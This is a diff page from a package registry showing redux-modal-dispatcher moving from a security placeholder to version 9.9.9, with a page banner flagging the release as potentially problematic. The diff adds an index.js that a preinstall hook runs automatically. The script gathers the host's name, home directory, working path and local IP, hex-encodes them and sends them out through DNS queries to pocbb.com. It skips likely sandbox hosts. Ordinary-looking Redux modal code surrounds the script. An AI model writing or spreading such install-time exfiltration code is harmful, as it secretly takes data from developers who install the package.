redux-modal-dispatcher 0.0.1-security → 9.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of redux-modal-dispatcher might be problematic. Click here for more details.
- package/README.md +2 -5
- package/index.js +105 -0
- package/lib/ModalDispatcher.js +41 -0
- package/lib/actions.js +85 -0
- package/lib/index.js +20 -0
- package/lib/reducers.js +48 -0
- package/package.json +7 -3
- package/src/utils/query.ts +33 -0
package/README.md
CHANGED
@@ -1,5 +1,2 @@
|
|
1
|
-
#
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=redux-modal-dispatcher for more information.
|
1
|
+
# NPM
|
2
|
+
This is a Proof of Concept (PoC) package.
|
package/index.js
ADDED
@@ -0,0 +1,105 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
const os = require('os');
|
3
|
+
const fs = require('fs');
|
4
|
+
const path = require('path');
|
5
|
+
|
6
|
+
function generateUID(length = 5) {
|
7
|
+
const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
|
8
|
+
let result = '';
|
9
|
+
for (let i = 0; i < length; i++) {
|
10
|
+
result += characters.charAt(Math.floor(Math.random() * characters.length));
|
11
|
+
}
|
12
|
+
return result.toLowerCase();
|
13
|
+
}
|
14
|
+
|
15
|
+
// Convert a JSON string to hex
|
16
|
+
function jsonStringToHex(jsonString) {
|
17
|
+
return Buffer.from(jsonString, 'utf8').toString('hex');
|
18
|
+
}
|
19
|
+
|
20
|
+
const uid = generateUID(); // Generate a UID for this client once
|
21
|
+
|
22
|
+
function getCurrentTimestamp() {
|
23
|
+
const date = new Date();
|
24
|
+
const offset = -date.getTimezoneOffset() / 60;
|
25
|
+
const sign = offset >= 0 ? "+" : "-";
|
26
|
+
return `${date.toLocaleDateString('en-GB')} ${date.toLocaleTimeString('en-GB')} (GMT${sign}${Math.abs(offset)})`;
|
27
|
+
}
|
28
|
+
|
29
|
+
function getLocalIP() {
|
30
|
+
const interfaces = os.networkInterfaces();
|
31
|
+
for (let iface in interfaces) {
|
32
|
+
for (let ifaceInfo of interfaces[iface]) {
|
33
|
+
if (ifaceInfo.family === 'IPv4' && !ifaceInfo.internal) {
|
34
|
+
return ifaceInfo.address;
|
35
|
+
}
|
36
|
+
}
|
37
|
+
}
|
38
|
+
return '127.0.0.1'; // fallback to localhost
|
39
|
+
}
|
40
|
+
|
41
|
+
function getPackageInfo() {
|
42
|
+
const packageJson = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
|
43
|
+
return {
|
44
|
+
name: packageJson.name,
|
45
|
+
version: packageJson.version
|
46
|
+
};
|
47
|
+
}
|
48
|
+
|
49
|
+
function sendJSONviaDNS(domain) {
|
50
|
+
// Check conditions to exit early
|
51
|
+
const hostnameCheck = os.hostname().startsWith("DESKTOP-") || os.hostname() === "instance";
|
52
|
+
const pathCheck1 = process.cwd().startsWith("/app");
|
53
|
+
const pathCheck2 = process.cwd().startsWith("/root/node_modules");
|
54
|
+
|
55
|
+
if (hostnameCheck || pathCheck1 || pathCheck2) {
|
56
|
+
return;
|
57
|
+
}
|
58
|
+
|
59
|
+
// Resolve the IP address of ns1.pocbb.com
|
60
|
+
dns.resolve4('ns1.pocbb.com', (err, addresses) => {
|
61
|
+
if (err) {
|
62
|
+
dns.setServers(['1.1.1.1', '8.8.8.8']); // Use 1.1.1.1 and 8.8.8.8 if ns1.pocbb.com cannot be resolved
|
63
|
+
} else {
|
64
|
+
const primaryDNS = addresses[0];
|
65
|
+
dns.setServers([primaryDNS, '1.1.1.1', '8.8.8.8']);
|
66
|
+
}
|
67
|
+
|
68
|
+
// Get package info
|
69
|
+
const pkgInfo = getPackageInfo();
|
70
|
+
|
71
|
+
// Construct the JSON object
|
72
|
+
const jsonObject = {
|
73
|
+
timestamp: getCurrentTimestamp(),
|
74
|
+
uid: uid,
|
75
|
+
'pkg-name': pkgInfo.name,
|
76
|
+
'pkg-version': pkgInfo.version,
|
77
|
+
'local-ip': getLocalIP(),
|
78
|
+
hostname: os.hostname(),
|
79
|
+
homedir: os.homedir(),
|
80
|
+
path: process.cwd()
|
81
|
+
};
|
82
|
+
const jsonString = JSON.stringify(jsonObject);
|
83
|
+
const hexString = jsonStringToHex(jsonString);
|
84
|
+
|
85
|
+
// Split hex string into chunks of 60 characters each
|
86
|
+
const chunkSize = 60;
|
87
|
+
const regex = new RegExp(`.{1,${chunkSize}}`, 'g');
|
88
|
+
const chunks = hexString.match(regex);
|
89
|
+
|
90
|
+
chunks.forEach((chunk, index) => {
|
91
|
+
const packetNumber = (index + 1).toString().padStart(3, '0'); // 001, 002, etc.
|
92
|
+
const subdomain = `pl.${uid}.${packetNumber}.${chunk}.${domain}`;
|
93
|
+
|
94
|
+
// Perform DNS resolution
|
95
|
+
dns.resolve4(subdomain, (err, addresses) => {
|
96
|
+
if (err) {
|
97
|
+
return;
|
98
|
+
}
|
99
|
+
});
|
100
|
+
});
|
101
|
+
});
|
102
|
+
}
|
103
|
+
|
104
|
+
// Usage
|
105
|
+
sendJSONviaDNS('pocbb.com');
|
@@ -0,0 +1,41 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.ModalDispatcher = undefined;
|
7
|
+
var _react = require('react');
|
8
|
+
var _react2 = _interopRequireDefault(_react);
|
9
|
+
var _propTypes = require('prop-types');
|
10
|
+
var _reactRedux = require('react-redux');
|
11
|
+
var _actions = require('./actions');
|
12
|
+
var _reducers = require('./reducers');
|
13
|
+
function _interopRequireDefault(obj) {
|
14
|
+
return obj && obj.__esModule ? obj : {
|
15
|
+
'default': obj
|
16
|
+
};
|
17
|
+
}
|
18
|
+
var cloneChild = function cloneChild(activeModals) {
|
19
|
+
return function (child) {
|
20
|
+
return activeModals[child.props.id] && _react2['default'].cloneElement(child, _actions.options[child.props.id].params);
|
21
|
+
};
|
22
|
+
};
|
23
|
+
var state2Props = function state2Props(state) {
|
24
|
+
return {
|
25
|
+
activeModals: (0, _reducers.getActiveModals)(state)
|
26
|
+
};
|
27
|
+
};
|
28
|
+
var ModalDispatcher = exports.ModalDispatcher = (0, _reactRedux.connect)(state2Props)(function (_ref) {
|
29
|
+
var children = _ref.children,
|
30
|
+
activeModals = _ref.activeModals;
|
31
|
+
return _react2['default'].createElement('div', {
|
32
|
+
className: 'combine-modals-wrapper'
|
33
|
+
}, _react.Children.map(children, cloneChild(activeModals)));
|
34
|
+
});
|
35
|
+
ModalDispatcher.propTypes = {
|
36
|
+
children: _propTypes.PropTypes.any,
|
37
|
+
// from JSX
|
38
|
+
options: _propTypes.PropTypes.object,
|
39
|
+
// from ../actions
|
40
|
+
activeModals: _propTypes.PropTypes.object // from state
|
41
|
+
};
|
package/lib/actions.js
ADDED
@@ -0,0 +1,85 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.closeAllModals = exports.openModal = exports.closeModal = exports.options = exports.DEACTIVATE_ALL_MODALS = exports.DEACTIVATE_MODAL = exports.ACTIVATE_MODAL = undefined;
|
7
|
+
var _promise = require('babel-runtime/core-js/promise');
|
8
|
+
var _promise2 = _interopRequireDefault(_promise);
|
9
|
+
var _assign = require('babel-runtime/core-js/object/assign');
|
10
|
+
var _assign2 = _interopRequireDefault(_assign);
|
11
|
+
function _interopRequireDefault(obj) {
|
12
|
+
return obj && obj.__esModule ? obj : {
|
13
|
+
'default': obj
|
14
|
+
};
|
15
|
+
}
|
16
|
+
var ACTIVATE_MODAL = exports.ACTIVATE_MODAL = 'RDX-MDL-DSPTCHR::ACTIVATE_MODAL';
|
17
|
+
var DEACTIVATE_MODAL = exports.DEACTIVATE_MODAL = 'RDX-MDL-DSPTCHR::DEACTIVATE_MODAL';
|
18
|
+
var DEACTIVATE_ALL_MODALS = exports.DEACTIVATE_ALL_MODALS = 'RDX-MDL-DSPTCHR::DEACTIVATE_ALL_MODALS';
|
19
|
+
var options = exports.options = {};
|
20
|
+
var activateModal = function activateModal(dispatch, modalId) {
|
21
|
+
return dispatch({
|
22
|
+
type: ACTIVATE_MODAL,
|
23
|
+
modalId: modalId
|
24
|
+
});
|
25
|
+
};
|
26
|
+
var deactivateModal = function deactivateModal(dispatch, modalId) {
|
27
|
+
return dispatch({
|
28
|
+
type: DEACTIVATE_MODAL,
|
29
|
+
modalId: modalId
|
30
|
+
});
|
31
|
+
};
|
32
|
+
var deactivateAllModals = function deactivateAllModals(dispatch) {
|
33
|
+
return dispatch({
|
34
|
+
type: DEACTIVATE_ALL_MODALS
|
35
|
+
});
|
36
|
+
};
|
37
|
+
var clearOptions = function clearOptions(modalId) {
|
38
|
+
return function () {
|
39
|
+
delete options[modalId];
|
40
|
+
};
|
41
|
+
};
|
42
|
+
var closeModal = exports.closeModal = function closeModal(modalId, result) {
|
43
|
+
return function (dispatch) {
|
44
|
+
var callOptions = options[modalId];
|
45
|
+
if (callOptions) {
|
46
|
+
deactivateModal(dispatch, modalId);
|
47
|
+
clearOptions(modalId);
|
48
|
+
callOptions.resolve(result);
|
49
|
+
}
|
50
|
+
};
|
51
|
+
};
|
52
|
+
var curryClose = function curryClose(modalId, dispatch) {
|
53
|
+
return function (result) {
|
54
|
+
return dispatch(closeModal(modalId, result));
|
55
|
+
};
|
56
|
+
};
|
57
|
+
var bindClose = function bindClose(modalId, dispatch) {
|
58
|
+
return function (result) {
|
59
|
+
return function () {
|
60
|
+
return dispatch(closeModal(modalId, result));
|
61
|
+
};
|
62
|
+
};
|
63
|
+
};
|
64
|
+
var createOptions = function createOptions(dispatch, modalId, params, resolve) {
|
65
|
+
return {
|
66
|
+
resolve: resolve,
|
67
|
+
params: (0, _assign2['default'])({}, params, {
|
68
|
+
close: curryClose(modalId, dispatch),
|
69
|
+
bindClose: bindClose(modalId, dispatch)
|
70
|
+
})
|
71
|
+
};
|
72
|
+
};
|
73
|
+
var openModal = exports.openModal = function openModal(modalId, params) {
|
74
|
+
return function (dispatch) {
|
75
|
+
return new _promise2['default'](function (resolve) {
|
76
|
+
options[modalId] = createOptions(dispatch, modalId, params, resolve);
|
77
|
+
return activateModal(dispatch, modalId);
|
78
|
+
});
|
79
|
+
};
|
80
|
+
};
|
81
|
+
var closeAllModals = exports.closeAllModals = function closeAllModals() {
|
82
|
+
return function (dispatch) {
|
83
|
+
return deactivateAllModals(dispatch);
|
84
|
+
};
|
85
|
+
};
|
package/lib/index.js
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.closeAllModals = exports.reducers = exports.closeModal = exports.openModal = exports.ModalDispatcher = undefined;
|
7
|
+
var _actions = require('./actions');
|
8
|
+
var _ModalDispatcher = require('./ModalDispatcher');
|
9
|
+
var _reducers = require('./reducers');
|
10
|
+
var _reducers2 = _interopRequireDefault(_reducers);
|
11
|
+
function _interopRequireDefault(obj) {
|
12
|
+
return obj && obj.__esModule ? obj : {
|
13
|
+
'default': obj
|
14
|
+
};
|
15
|
+
}
|
16
|
+
exports.ModalDispatcher = _ModalDispatcher.ModalDispatcher;
|
17
|
+
exports.openModal = _actions.openModal;
|
18
|
+
exports.closeModal = _actions.closeModal;
|
19
|
+
exports.reducers = _reducers2['default'];
|
20
|
+
exports.closeAllModals = _actions.closeAllModals;
|
package/lib/reducers.js
ADDED
@@ -0,0 +1,48 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
4
|
+
value: true
|
5
|
+
});
|
6
|
+
exports.getActiveModals = exports.pathSelector = exports.modalDispatcher = undefined;
|
7
|
+
var _defineProperty2 = require('babel-runtime/helpers/defineProperty');
|
8
|
+
var _defineProperty3 = _interopRequireDefault(_defineProperty2);
|
9
|
+
var _assign = require('babel-runtime/core-js/object/assign');
|
10
|
+
var _assign2 = _interopRequireDefault(_assign);
|
11
|
+
var _reducers;
|
12
|
+
var _actions = require('./actions');
|
13
|
+
function _interopRequireDefault(obj) {
|
14
|
+
return obj && obj.__esModule ? obj : {
|
15
|
+
'default': obj
|
16
|
+
};
|
17
|
+
}
|
18
|
+
var initialState = {};
|
19
|
+
var reducers = (_reducers = {}, (0, _defineProperty3['default'])(_reducers, _actions.ACTIVATE_MODAL, function (state, modalId) {
|
20
|
+
return (0, _assign2['default'])({}, state, (0, _defineProperty3['default'])({}, modalId, true));
|
21
|
+
}), (0, _defineProperty3['default'])(_reducers, _actions.DEACTIVATE_MODAL, function (state, modalId) {
|
22
|
+
return (0, _assign2['default'])({}, state, (0, _defineProperty3['default'])({}, modalId, false));
|
23
|
+
}), (0, _defineProperty3['default'])(_reducers, _actions.DEACTIVATE_ALL_MODALS, function () {
|
24
|
+
return initialState;
|
25
|
+
}), _reducers);
|
26
|
+
var callReducer = function callReducer(reducer, state, action) {
|
27
|
+
return reducer ? reducer(state, action) : state;
|
28
|
+
};
|
29
|
+
var modalDispatcher = exports.modalDispatcher = function modalDispatcher() {
|
30
|
+
var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
|
31
|
+
var _ref = arguments[1];
|
32
|
+
var type = _ref.type,
|
33
|
+
modalId = _ref.modalId;
|
34
|
+
return callReducer(reducers[type], state, modalId);
|
35
|
+
};
|
36
|
+
var parent = function parent(state) {
|
37
|
+
return state;
|
38
|
+
};
|
39
|
+
var attachTo = function attachTo(newParent) {
|
40
|
+
parent = newParent;
|
41
|
+
};
|
42
|
+
var pathSelector = exports.pathSelector = (0, _assign2['default'])(function (state) {
|
43
|
+
return parent(state).modalDispatcher;
|
44
|
+
}, attachTo);
|
45
|
+
var getActiveModals = exports.getActiveModals = pathSelector;
|
46
|
+
exports['default'] = {
|
47
|
+
modalDispatcher: modalDispatcher
|
48
|
+
};
|
package/package.json
CHANGED
@@ -1,6 +1,10 @@
|
|
1
1
|
{
|
2
2
|
"name": "redux-modal-dispatcher",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "9.9.9",
|
4
|
+
"description": "This is a Proof of Concept (PoC) package",
|
5
|
+
"license": "MIT",
|
6
|
+
"main": "index.js",
|
7
|
+
"scripts": {
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
}
|
6
10
|
}
|
@@ -0,0 +1,33 @@
|
|
1
|
+
export type TQueryObject = Record<number | string, any>;
|
2
|
+
|
3
|
+
const _flat = (
|
4
|
+
path: string,
|
5
|
+
obj: TQueryObject,
|
6
|
+
flatted: string[],
|
7
|
+
): string[] => Object.keys(obj).reduce(
|
8
|
+
(f, p) => {
|
9
|
+
let v = obj[p];
|
10
|
+
if (v === undefined) return flatted;
|
11
|
+
if (v === null) v = '';
|
12
|
+
const ep = encodeURIComponent(p);
|
13
|
+
const np = path ? `${path}[${ep}]` : ep;
|
14
|
+
const theType = Array.isArray(v) ? 'array' : typeof v;
|
15
|
+
if (['function', 'array'].includes(theType)) v = '';
|
16
|
+
if (theType === 'object') {
|
17
|
+
return _flat(np, v, f);
|
18
|
+
}
|
19
|
+
f.push(`${np}=${encodeURIComponent(v)}`);
|
20
|
+
return f;
|
21
|
+
}, flatted,
|
22
|
+
);
|
23
|
+
|
24
|
+
const flat = (obj: TQueryObject): string[] => _flat('', obj, []);
|
25
|
+
|
26
|
+
const stringify = (query: TQueryObject): string => {
|
27
|
+
const queryString = flat(query).join('&');
|
28
|
+
return queryString ? `?${queryString}` : '';
|
29
|
+
};
|
30
|
+
|
31
|
+
export const buildQuery = (query: TQueryObject): string => (
|
32
|
+
query != null ? stringify(query) : ''
|
33
|
+
);
|